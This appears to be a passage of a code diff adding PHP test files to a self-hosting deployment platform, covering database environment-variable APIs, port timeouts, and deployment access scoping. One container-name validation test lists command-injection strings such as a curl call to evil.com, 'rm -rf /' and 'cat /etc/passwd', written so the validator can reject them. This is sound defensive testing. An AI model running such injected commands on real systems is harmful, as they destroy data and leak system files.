|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->token = $this->user->createToken('test-token', ['*']);
|
||||
$this->bearerToken = $this->token->plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
function createDatabase($context): StandalonePostgresql
|
||||
{
|
||||
return StandalonePostgresql::create([
|
||||
'name' => 'test-postgres',
|
||||
'image' => 'postgres:15-alpine',
|
||||
'postgres_user' => 'postgres',
|
||||
'postgres_password' => 'password',
|
||||
'postgres_db' => 'postgres',
|
||||
'environment_id' => $context->environment->id,
|
||||
'destination_id' => $context->destination->id,
|
||||
'destination_type' => $context->destination->getMorphClass(),
|
||||
]);
|
||||
}
|
||||
|
||||
describe('GET /api/v1/databases/{uuid}/envs', function () {
|
||||
test('lists environment variables for a database', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'CUSTOM_VAR',
|
||||
'value' => 'custom_value',
|
||||
'resourceable_type' => StandalonePostgresql::class,
|
||||
'resourceable_id' => $database->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->getJson("/api/v1/databases/{$database->uuid}/envs");
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertJsonFragment(['key' => 'CUSTOM_VAR']);
|
||||
});
|
||||
|
||||
test('returns empty array when no environment variables exist', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->getJson("/api/v1/databases/{$database->uuid}/envs");
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertJson([]);
|
||||
});
|
||||
|
||||
test('returns 404 for non-existent database', function () {
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->getJson('/api/v1/databases/non-existent-uuid/envs');
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/v1/databases/{uuid}/envs', function () {
|
||||
test('creates an environment variable', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/databases/{$database->uuid}/envs", [
|
||||
'key' => 'NEW_VAR',
|
||||
'value' => 'new_value',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$env = EnvironmentVariable::where('key', 'NEW_VAR')
|
||||
->where('resourceable_id', $database->id)
|
||||
->where('resourceable_type', StandalonePostgresql::class)
|
||||
->first();
|
||||
|
||||
expect($env)->not->toBeNull();
|
||||
expect($env->value)->toBe('new_value');
|
||||
});
|
||||
|
||||
test('creates an environment variable with comment', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/databases/{$database->uuid}/envs", [
|
||||
'key' => 'COMMENTED_VAR',
|
||||
'value' => 'some_value',
|
||||
'comment' => 'This is a test comment',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$env = EnvironmentVariable::where('key', 'COMMENTED_VAR')
|
||||
->where('resourceable_id', $database->id)
|
||||
->first();
|
||||
|
||||
expect($env->comment)->toBe('This is a test comment');
|
||||
});
|
||||
|
||||
test('returns 409 when environment variable already exists', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'EXISTING_VAR',
|
||||
'value' => 'existing_value',
|
||||
'resourceable_type' => StandalonePostgresql::class,
|
||||
'resourceable_id' => $database->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/databases/{$database->uuid}/envs", [
|
||||
'key' => 'EXISTING_VAR',
|
||||
'value' => 'new_value',
|
||||
]);
|
||||
|
||||
$response->assertStatus(409);
|
||||
});
|
||||
|
||||
test('returns 422 when key is missing', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/databases/{$database->uuid}/envs", [
|
||||
'value' => 'some_value',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/databases/{uuid}/envs', function () {
|
||||
test('updates an environment variable', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'UPDATE_ME',
|
||||
'value' => 'old_value',
|
||||
'resourceable_type' => StandalonePostgresql::class,
|
||||
'resourceable_id' => $database->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}/envs", [
|
||||
'key' => 'UPDATE_ME',
|
||||
'value' => 'new_value',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$env = EnvironmentVariable::where('key', 'UPDATE_ME')
|
||||
->where('resourceable_id', $database->id)
|
||||
->first();
|
||||
|
||||
expect($env->value)->toBe('new_value');
|
||||
});
|
||||
|
||||
test('returns 404 when environment variable does not exist', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}/envs", [
|
||||
'key' => 'NONEXISTENT',
|
||||
'value' => 'value',
|
||||
]);
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/databases/{uuid}/envs/bulk', function () {
|
||||
test('creates environment variables with comments', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'DB_HOST',
|
||||
'value' => 'localhost',
|
||||
'comment' => 'Database host',
|
||||
],
|
||||
[
|
||||
'key' => 'DB_PORT',
|
||||
'value' => '5432',
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$envWithComment = EnvironmentVariable::where('key', 'DB_HOST')
|
||||
->where('resourceable_id', $database->id)
|
||||
->where('resourceable_type', StandalonePostgresql::class)
|
||||
->first();
|
||||
|
||||
$envWithoutComment = EnvironmentVariable::where('key', 'DB_PORT')
|
||||
->where('resourceable_id', $database->id)
|
||||
->where('resourceable_type', StandalonePostgresql::class)
|
||||
->first();
|
||||
|
||||
expect($envWithComment->comment)->toBe('Database host');
|
||||
expect($envWithoutComment->comment)->toBeNull();
|
||||
});
|
||||
|
||||
test('updates existing environment variables via bulk', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'BULK_VAR',
|
||||
'value' => 'old_value',
|
||||
'comment' => 'Old comment',
|
||||
'resourceable_type' => StandalonePostgresql::class,
|
||||
'resourceable_id' => $database->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'BULK_VAR',
|
||||
'value' => 'new_value',
|
||||
'comment' => 'Updated comment',
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$env = EnvironmentVariable::where('key', 'BULK_VAR')
|
||||
->where('resourceable_id', $database->id)
|
||||
->first();
|
||||
|
||||
expect($env->value)->toBe('new_value');
|
||||
expect($env->comment)->toBe('Updated comment');
|
||||
});
|
||||
|
||||
test('rejects comment exceeding 256 characters', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'TEST_VAR',
|
||||
'value' => 'value',
|
||||
'comment' => str_repeat('a', 257),
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
|
||||
test('returns 400 when data is missing', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", []);
|
||||
|
||||
$response->assertStatus(400);
|
||||
});
|
||||
});
|
||||
|
||||
describe('DELETE /api/v1/databases/{uuid}/envs/{env_uuid}', function () {
|
||||
test('deletes an environment variable', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$env = EnvironmentVariable::create([
|
||||
'key' => 'DELETE_ME',
|
||||
'value' => 'to_delete',
|
||||
'resourceable_type' => StandalonePostgresql::class,
|
||||
'resourceable_id' => $database->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->deleteJson("/api/v1/databases/{$database->uuid}/envs/{$env->uuid}");
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertJson(['message' => 'Environment variable deleted.']);
|
||||
|
||||
expect(EnvironmentVariable::where('uuid', $env->uuid)->first())->toBeNull();
|
||||
});
|
||||
|
||||
test('returns 404 for non-existent environment variable', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->deleteJson("/api/v1/databases/{$database->uuid}/envs/non-existent-uuid");
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,125 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\Import;
|
||||
use App\Support\ValidationPatterns;
|
||||
|
||||
describe('container name validation', function () {
|
||||
test('isValidContainerName accepts valid container names', function () {
|
||||
expect(ValidationPatterns::isValidContainerName('my-container'))->toBeTrue();
|
||||
expect(ValidationPatterns::isValidContainerName('my_container'))->toBeTrue();
|
||||
expect(ValidationPatterns::isValidContainerName('container123'))->toBeTrue();
|
||||
expect(ValidationPatterns::isValidContainerName('my.container.name'))->toBeTrue();
|
||||
expect(ValidationPatterns::isValidContainerName('a'))->toBeTrue();
|
||||
expect(ValidationPatterns::isValidContainerName('abc-def_ghi.jkl'))->toBeTrue();
|
||||
});
|
||||
|
||||
test('isValidContainerName rejects command injection payloads', function () {
|
||||
// Command substitution
|
||||
expect(ValidationPatterns::isValidContainerName('$(curl http://evil.com/$(whoami))'))->toBeFalse();
|
||||
expect(ValidationPatterns::isValidContainerName('$(whoami)'))->toBeFalse();
|
||||
|
||||
// Backtick injection
|
||||
expect(ValidationPatterns::isValidContainerName('`id`'))->toBeFalse();
|
||||
|
||||
// Semicolon chaining
|
||||
expect(ValidationPatterns::isValidContainerName('container;rm -rf /'))->toBeFalse();
|
||||
|
||||
// Pipe injection
|
||||
expect(ValidationPatterns::isValidContainerName('container|cat /etc/passwd'))->toBeFalse();
|
||||
|
||||
// Ampersand chaining
|
||||
expect(ValidationPatterns::isValidContainerName('container&&env'))->toBeFalse();
|
||||
|
||||
// Spaces (not valid in Docker container names)
|
||||
expect(ValidationPatterns::isValidContainerName('container name'))->toBeFalse();
|
||||
|
||||
// Newlines
|
||||
expect(ValidationPatterns::isValidContainerName("container\nid"))->toBeFalse();
|
||||
|
||||
// Must start with alphanumeric
|
||||
expect(ValidationPatterns::isValidContainerName('-container'))->toBeFalse();
|
||||
expect(ValidationPatterns::isValidContainerName('.container'))->toBeFalse();
|
||||
expect(ValidationPatterns::isValidContainerName('_container'))->toBeFalse();
|
||||
});
|
||||
});
|
||||
|
||||
describe('locked properties', function () {
|
||||
test('container property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'container');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('serverId property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'serverId');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resourceId property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'resourceId');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resourceType property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'resourceType');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resourceUuid property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'resourceUuid');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resourceDbType property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'resourceDbType');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
});
|
||||
|
||||
describe('server method uses team scoping', function () {
|
||||
test('server computed property calls ownedByCurrentTeam', function () {
|
||||
$method = new ReflectionMethod(Import::class, 'server');
|
||||
|
||||
// Extract the server method body
|
||||
$startLine = $method->getStartLine();
|
||||
$endLine = $method->getEndLine();
|
||||
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
||||
$methodBody = implode('', $lines);
|
||||
|
||||
expect($methodBody)->toContain('ownedByCurrentTeam');
|
||||
expect($methodBody)->not->toContain('Server::find($this->serverId)');
|
||||
});
|
||||
});
|
||||
|
||||
describe('Import component uses shared ValidationPatterns', function () {
|
||||
test('runImport references ValidationPatterns for container validation', function () {
|
||||
$method = new ReflectionMethod(Import::class, 'runImport');
|
||||
$startLine = $method->getStartLine();
|
||||
$endLine = $method->getEndLine();
|
||||
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
||||
$methodBody = implode('', $lines);
|
||||
|
||||
expect($methodBody)->toContain('ValidationPatterns::isValidContainerName');
|
||||
});
|
||||
|
||||
test('restoreFromS3 references ValidationPatterns for container validation', function () {
|
||||
$method = new ReflectionMethod(Import::class, 'restoreFromS3');
|
||||
$startLine = $method->getStartLine();
|
||||
$endLine = $method->getEndLine();
|
||||
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
||||
$methodBody = implode('', $lines);
|
||||
|
||||
expect($methodBody)->toContain('ValidationPatterns::isValidContainerName');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,147 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Environment;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\StandaloneRedis;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::updateOrCreate(['id' => 0]);
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->token = $this->user->createToken('test-token', ['*']);
|
||||
$this->bearerToken = $this->token->plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/databases', function () {
|
||||
test('updates public_port_timeout on a postgresql database', function () {
|
||||
$database = StandalonePostgresql::create([
|
||||
'name' => 'test-postgres',
|
||||
'image' => 'postgres:15-alpine',
|
||||
'postgres_user' => 'postgres',
|
||||
'postgres_password' => 'password',
|
||||
'postgres_db' => 'postgres',
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}", [
|
||||
'public_port_timeout' => 7200,
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
$database->refresh();
|
||||
expect($database->public_port_timeout)->toBe(7200);
|
||||
});
|
||||
|
||||
test('updates public_port_timeout on a redis database', function () {
|
||||
$database = StandaloneRedis::create([
|
||||
'name' => 'test-redis',
|
||||
'image' => 'redis:7',
|
||||
'redis_password' => 'password',
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}", [
|
||||
'public_port_timeout' => 1800,
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
$database->refresh();
|
||||
expect($database->public_port_timeout)->toBe(1800);
|
||||
});
|
||||
|
||||
test('rejects invalid public_port_timeout value', function () {
|
||||
$database = StandalonePostgresql::create([
|
||||
'name' => 'test-postgres',
|
||||
'image' => 'postgres:15-alpine',
|
||||
'postgres_user' => 'postgres',
|
||||
'postgres_password' => 'password',
|
||||
'postgres_db' => 'postgres',
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}", [
|
||||
'public_port_timeout' => 0,
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
|
||||
test('accepts null public_port_timeout', function () {
|
||||
$database = StandalonePostgresql::create([
|
||||
'name' => 'test-postgres',
|
||||
'image' => 'postgres:15-alpine',
|
||||
'postgres_user' => 'postgres',
|
||||
'postgres_password' => 'password',
|
||||
'postgres_db' => 'postgres',
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}", [
|
||||
'public_port_timeout' => null,
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
$database->refresh();
|
||||
expect($database->public_port_timeout)->toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/v1/databases/postgresql', function () {
|
||||
test('creates postgresql database with public_port_timeout', function () {
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson('/api/v1/databases/postgresql', [
|
||||
'server_uuid' => $this->server->uuid,
|
||||
'project_uuid' => $this->project->uuid,
|
||||
'environment_name' => $this->environment->name,
|
||||
'public_port_timeout' => 5400,
|
||||
'instant_deploy' => false,
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
$uuid = $response->json('uuid');
|
||||
$database = StandalonePostgresql::whereUuid($uuid)->first();
|
||||
expect($database)->not->toBeNull();
|
||||
expect($database->public_port_timeout)->toBe(5400);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,77 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\Dragonfly\General as DragonflyGeneral;
|
||||
use App\Livewire\Project\Database\Keydb\General as KeydbGeneral;
|
||||
use App\Livewire\Project\Database\Mariadb\General as MariadbGeneral;
|
||||
use App\Livewire\Project\Database\Mongodb\General as MongodbGeneral;
|
||||
use App\Livewire\Project\Database\Mysql\General as MysqlGeneral;
|
||||
use App\Livewire\Project\Database\Postgresql\General as PostgresqlGeneral;
|
||||
use App\Livewire\Project\Database\Redis\General as RedisGeneral;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\StandaloneMysql;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
dataset('ssl-aware-database-general-components', [
|
||||
MysqlGeneral::class,
|
||||
MariadbGeneral::class,
|
||||
MongodbGeneral::class,
|
||||
RedisGeneral::class,
|
||||
PostgresqlGeneral::class,
|
||||
KeydbGeneral::class,
|
||||
DragonflyGeneral::class,
|
||||
]);
|
||||
|
||||
it('maps database status broadcasts to refresh for ssl-aware database general components', function (string $componentClass) {
|
||||
$component = app($componentClass);
|
||||
$listeners = $component->getListeners();
|
||||
|
||||
expect($listeners["echo-private:user.{$this->user->id},DatabaseStatusChanged"])->toBe('refresh')
|
||||
->and($listeners["echo-private:team.{$this->team->id},ServiceChecked"])->toBe('refresh');
|
||||
})->with('ssl-aware-database-general-components');
|
||||
|
||||
it('reloads the mysql database model when refreshing so ssl controls follow the latest status', function () {
|
||||
$server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$destination = StandaloneDocker::where('server_id', $server->id)->first();
|
||||
$project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
|
||||
$database = StandaloneMysql::create([
|
||||
'name' => 'test-mysql',
|
||||
'image' => 'mysql:8',
|
||||
'mysql_root_password' => 'password',
|
||||
'mysql_user' => 'coolify',
|
||||
'mysql_password' => 'password',
|
||||
'mysql_database' => 'coolify',
|
||||
'status' => 'exited:unhealthy',
|
||||
'enable_ssl' => true,
|
||||
'is_log_drain_enabled' => false,
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => $destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$component = Livewire::test(MysqlGeneral::class, ['database' => $database])
|
||||
->assertDontSee('Database should be stopped to change this settings.');
|
||||
|
||||
$database->fill(['status' => 'running:healthy'])->save();
|
||||
|
||||
$component->call('refresh')
|
||||
->assertSee('Database should be stopped to change this settings.');
|
||||
});
|
||||
@@ -0,0 +1,94 @@
|
||||
<?php
|
||||
|
||||
use App\Enums\ApplicationDeploymentStatus;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationDeploymentQueue;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
// Create token manually since User::createToken relies on session('currentTeam')
|
||||
$plainTextToken = Str::random(40);
|
||||
$token = $this->user->tokens()->create([
|
||||
'name' => 'test-token',
|
||||
'token' => hash('sha256', $plainTextToken),
|
||||
'abilities' => ['*'],
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
$this->bearerToken = $token->getKey().'|'.$plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
});
|
||||
|
||||
describe('GET /api/v1/deployments/{uuid}', function () {
|
||||
test('returns 401 when not authenticated', function () {
|
||||
$response = $this->getJson('/api/v1/deployments/fake-uuid');
|
||||
|
||||
$response->assertUnauthorized();
|
||||
});
|
||||
|
||||
test('returns 404 when deployment not found', function () {
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->getJson('/api/v1/deployments/non-existent-uuid');
|
||||
|
||||
$response->assertNotFound();
|
||||
$response->assertJson(['message' => 'Deployment not found.']);
|
||||
});
|
||||
|
||||
test('returns deployment when uuid is valid and belongs to team', function () {
|
||||
$deployment = ApplicationDeploymentQueue::create([
|
||||
'deployment_uuid' => 'test-deploy-uuid',
|
||||
'application_id' => $this->application->id,
|
||||
'server_id' => $this->server->id,
|
||||
'status' => ApplicationDeploymentStatus::IN_PROGRESS->value,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->getJson("/api/v1/deployments/{$deployment->deployment_uuid}");
|
||||
|
||||
$response->assertSuccessful();
|
||||
$response->assertJsonFragment(['deployment_uuid' => 'test-deploy-uuid']);
|
||||
});
|
||||
|
||||
test('returns 404 when deployment belongs to another team', function () {
|
||||
$otherTeam = Team::factory()->create();
|
||||
$otherProject = Project::factory()->create(['team_id' => $otherTeam->id]);
|
||||
$otherEnvironment = Environment::factory()->create(['project_id' => $otherProject->id]);
|
||||
$otherApplication = Application::factory()->create([
|
||||
'environment_id' => $otherEnvironment->id,
|
||||
]);
|
||||
$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
|
||||
|
||||
$deployment = ApplicationDeploymentQueue::create([
|
||||
'deployment_uuid' => 'other-team-deploy-uuid',
|
||||
'application_id' => $otherApplication->id,
|
||||
'server_id' => $otherServer->id,
|
||||
'status' => ApplicationDeploymentStatus::IN_PROGRESS->value,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->getJson("/api/v1/deployments/{$deployment->deployment_uuid}");
|
||||
|
||||
$response->assertNotFound();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,116 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ApplicationDeploymentJob;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationDeploymentQueue;
|
||||
|
||||
function createJobWithProperties(string $uuid): object
|
||||
{
|
||||
$ref = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$instance = $ref->newInstanceWithoutConstructor();
|
||||
|
||||
$app = Mockery::mock(Application::class)->makePartial();
|
||||
$app->uuid = $uuid;
|
||||
|
||||
$queue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial();
|
||||
$queue->shouldReceive('addLogEntry')->andReturnNull();
|
||||
|
||||
$appProp = $ref->getProperty('application');
|
||||
$appProp->setAccessible(true);
|
||||
$appProp->setValue($instance, $app);
|
||||
|
||||
$queueProp = $ref->getProperty('application_deployment_queue');
|
||||
$queueProp->setAccessible(true);
|
||||
$queueProp->setValue($instance, $queue);
|
||||
|
||||
return $instance;
|
||||
}
|
||||
|
||||
function invokeResolve(object $instance, $containers, ?string $specifiedName, string $type): ?array
|
||||
{
|
||||
$ref = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $ref->getMethod('resolveCommandContainer');
|
||||
$method->setAccessible(true);
|
||||
|
||||
return $method->invoke($instance, $containers, $specifiedName, $type);
|
||||
}
|
||||
|
||||
describe('resolveCommandContainer', function () {
|
||||
test('returns null when no containers exist', function () {
|
||||
$instance = createJobWithProperties('abc123');
|
||||
$result = invokeResolve($instance, collect([]), 'web', 'Pre-deployment');
|
||||
|
